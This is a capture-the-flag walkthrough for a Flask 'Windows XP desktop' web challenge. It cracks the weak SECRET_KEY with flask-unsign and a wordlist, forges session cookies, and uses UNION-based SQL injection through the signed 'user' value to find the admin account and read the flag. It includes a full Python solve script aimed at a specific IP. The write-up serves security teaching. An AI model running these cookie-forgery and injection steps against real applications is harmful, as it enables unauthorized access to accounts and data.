Рабочий стол (Desktop)
Рабочий стол (Desktop)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: flask_session_forgery, secret_key_wordlist_bruteforce, sqlite_schema_enumeration, union_based_sqli_via_signed_cookie
Summary
Walkthrough of the CUSTOM Web Рабочий стол (Desktop). Task: Flask 'Windows XP desktop' app; guest session cookie {"user":"guest"} drives a SQLite file-list query; admin desk locked. Solution: crack the weak SECRET_KEY (crazy1) with flask-unsign, then
Description
Сделал лёгкий веб-«рабочий стол» в стиле старой Windows: заходишь гостем, открываешь свои файлы в блокноте. Доступ к чужим столам, само собой, закрыт — туда без логина и пароля администратора не попасть ;) Формат флага: CODEBY{...}
English summary: A Flask web app renders a Windows-XP-style "desktop". You enter as guest and can open your own files in a "notepad". The administrator's desktop is supposedly protected — "you can't get there without the admin's login and password." Goal: reach the admin desktop and read the flag.
Analysis
Recon of http://62.173.140.174:16125:
bash read-only • copy allowedcurl -sI http://62.173.140.174:16125/ # Server: Werkzeug/3.1.8 Python/3.9.25
The app is Flask (Werkzeug) and issues a Flask session cookie:
session=eyJ1c2VyIjoiZ3Vlc3QifQ...<sig>
The payload part base64-decodes to the session dict:
bash read-only • copy allowedecho 'eyJ1c2VyIjoiZ3Vlc3QifQ' | base64 -d # {"user":"guest"}
Application surface (only two real routes):
/— a loader that redirects, then (with a valid session) renders the XP-style Desktop listing the current user's files./open_file/<name>— opens a file into a "notepad"<textarea>.
The guest desktop lists a single file README.txt. Opening /open_file/README.txt
shows text stating the objective: reach the administrator's desktop, but "we don't
know his username and password." Opening a .py/non-existent file triggers a joke
BSOD page; a non-matching route returns 404.
Key observation: the desktop file list is populated from the user value taken
out of the signed session cookie. Since the cookie is signed, the server trusts
that value — but signing guarantees only integrity, not that the value is safe to
concatenate into a SQL query. If we can forge cookies, we control that value.
Solution
Step 1 — Crack the Flask SECRET_KEY
The default flask-unsign wordlist failed. rockyou.txt succeeded (key found after 1408 attempts):
bash read-only • copy allowedflask-unsign --unsign \ --cookie 'eyJ1c2VyIjoiZ3Vlc3QifQ.<sig>' \ --wordlist /usr/share/wordlists/rockyou.txt \ --no-literal-eval # [+] Found secret key after 1408 attempts # 'crazy1'
SECRET_KEY = crazy1. With the secret we can forge arbitrary signed sessions.
Step 2 — Dead ends (skip these)
- Forging
{"user":"admin"}(alsoadministrator,root, …) → an empty desktop (no such folder/user), not the flag. - Brute-forcing usernames (10,713 name list + ~64k top usernames) via the listing → nothing.
- Path traversal in
open_file(../,%2e%2e%2f, …) → normalized/blocked by Werkzeug.
Step 3 — SQL injection through the signed user value
The user field is concatenated into the SQLite query that builds the file list.
Because we sign the cookie ourselves, we control the injection.
Sign a probe with the Python module:
python read-only • copy allowedimport flask_unsign print(flask_unsign.sign({'user': "' OR 1=1--"}, secret='crazy1'))
Sending that cookie makes the desktop list both README.txt and flag.txt
(the injected value is trusted server-side because the cookie is validly signed) — SQLi confirmed.
Determine column count (first column is rendered as the filename):
' OR 1=1 ORDER BY 2-- -> OK
' OR 1=1 ORDER BY 3-- -> error => 2 columns
Enumerate the schema with UNION-based injection (selecting into column 1):
' UNION SELECT name,1 FROM sqlite_master--
-> tables: sqlite_sequence, users
' UNION SELECT sql,1 FROM sqlite_master WHERE name='users'--
-> CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
user TEXT NOT NULL,
filename TEXT NOT NULL,
data TEXT NOT NULL)
' UNION SELECT user,1 FROM users--
-> distinct users: Morris, guest
The real admin account name is Morris (not admin).
Step 4 — Recover the flag
Forge a normal (non-injection) session as Morris and open the file the desktop now lists:
python read-only • copy allowedimport flask_unsign cookie = flask_unsign.sign({'user': 'Morris'}, secret='crazy1')
bash read-only • copy allowedcurl -s "http://62.173.140.174:16125/open_file/flag.txt" \ -H "Cookie: session=$COOKIE" # notepad <textarea> => CODEBY{REDACTED}
Full solve script
python read-only • copy allowed#!/usr/bin/env python3 import flask_unsign, requests, re BASE = "http://62.173.140.174:16125" SECRET = "crazy1" # cracked from rockyou.txt via flask-unsign (1408 attempts) def desk(user_value): cookie = flask_unsign.sign({'user': user_value}, secret=SECRET) return requests.get(BASE + "/", cookies={"session": cookie}).text def open_file(user_value, name): cookie = flask_unsign.sign({'user': user_value}, secret=SECRET) return requests.get(f"{BASE}/open_file/{name}", cookies={"session": cookie}).text # 1) confirm SQLi (both README.txt and flag.txt appear) assert "flag.txt" in desk("' OR 1=1--") # 2) enumerate real users via UNION injection listing = desk("' UNION SELECT user,1 FROM users--") print("users listing:", re.findall(r'>([^<>]+?)<', listing)) # includes Morris # 3) forge admin session and read the flag html = open_file("Morris", "flag.txt") print(re.search(r'CODEBY\{[^}]+\}', html).group(0)) # CODEBY{REDACTED}
Key Takeaways / Lessons
- Mastering flask_session_forgery, secret_key_wordlist_bruteforce, sqlite_schema_enumeration, union_based_sqli_via_signed_cookie was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-07-10 • CUSTOM • Рабочий стол (Desktop) • Difficulty: Medium